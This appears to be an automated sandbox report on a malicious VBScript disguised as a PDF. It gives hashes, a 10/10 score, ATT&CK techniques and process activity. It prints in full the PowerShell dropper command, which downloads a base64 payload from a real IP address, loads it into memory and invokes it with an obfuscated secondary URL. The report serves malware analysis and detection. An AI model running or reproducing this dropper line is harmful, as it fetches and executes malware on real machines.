b14185efe4b54d71feffe4dc964419b4639048efc50bb5f19c28e7d561263331

Analysis

max time kernel
215s
max time network
291s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
23-11-2022 14:40

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General

Target

TW03GBVSFS0PDHS_001_PDF.vbs
Size

209KB
MD5

4a83206f2fe5b8c48d5fca63c420908c
SHA1

a2b534aa07ebaa3b452a1f4a9b05b6cd1b2c842f
SHA256

d88fc6590c4f50373cce292ca245fa77c0a3cecbab48564b8ef70c1051aa0aa6
SHA512

14e8a5a6f52bd2a5febe14669b242a38dc75567898e82c5bcaf3d3ef6173eecc14a486e9a4e9055bd55592d28eff24e6691dd7c41f3063ee679d56376caa0859
SSDEEP

96:i5fU56Igx1Ua7fLhwMwQgI5mPZFotzeSx8iamzdtaP1joXGhsS0:yfU0Igx1Ua7fLhwMwrI8PLotzeSx8i7Z

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://4.204.233.44/Dll/Dll.ppam

Signatures

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation WScript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4516 powershell.exe
4516 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4516 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	WScript.exe

pid	process
4516	powershell.exe
4516	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4516	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 3240 wrote to memory of 4516	3240	WScript.exe	powershell.exe
PID 3240 wrote to memory of 4516	3240	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TW03GBVSFS0PDHS_001_PDF.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://4.204.233.44/Dll/Dll.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('6ff9921f9d0d-2e39-a324-1bf0-c9100279=nekot&aidem=tla?txt.61ufs/o/moc.topsppa.de23d-1cjj/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4516

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4516-132-0x0000000000000000-mapping.dmp

Download
memory/4516-133-0x00007FFAF2F60000-0x00007FFAF3A21000-memory.dmp

Filesize
10.8MB

Download
memory/4516-134-0x000002E858BD0000-0x000002E858BF2000-memory.dmp

Filesize
136KB

Download
memory/4516-135-0x00007FFAF2F60000-0x00007FFAF3A21000-memory.dmp

Filesize
10.8MB

Download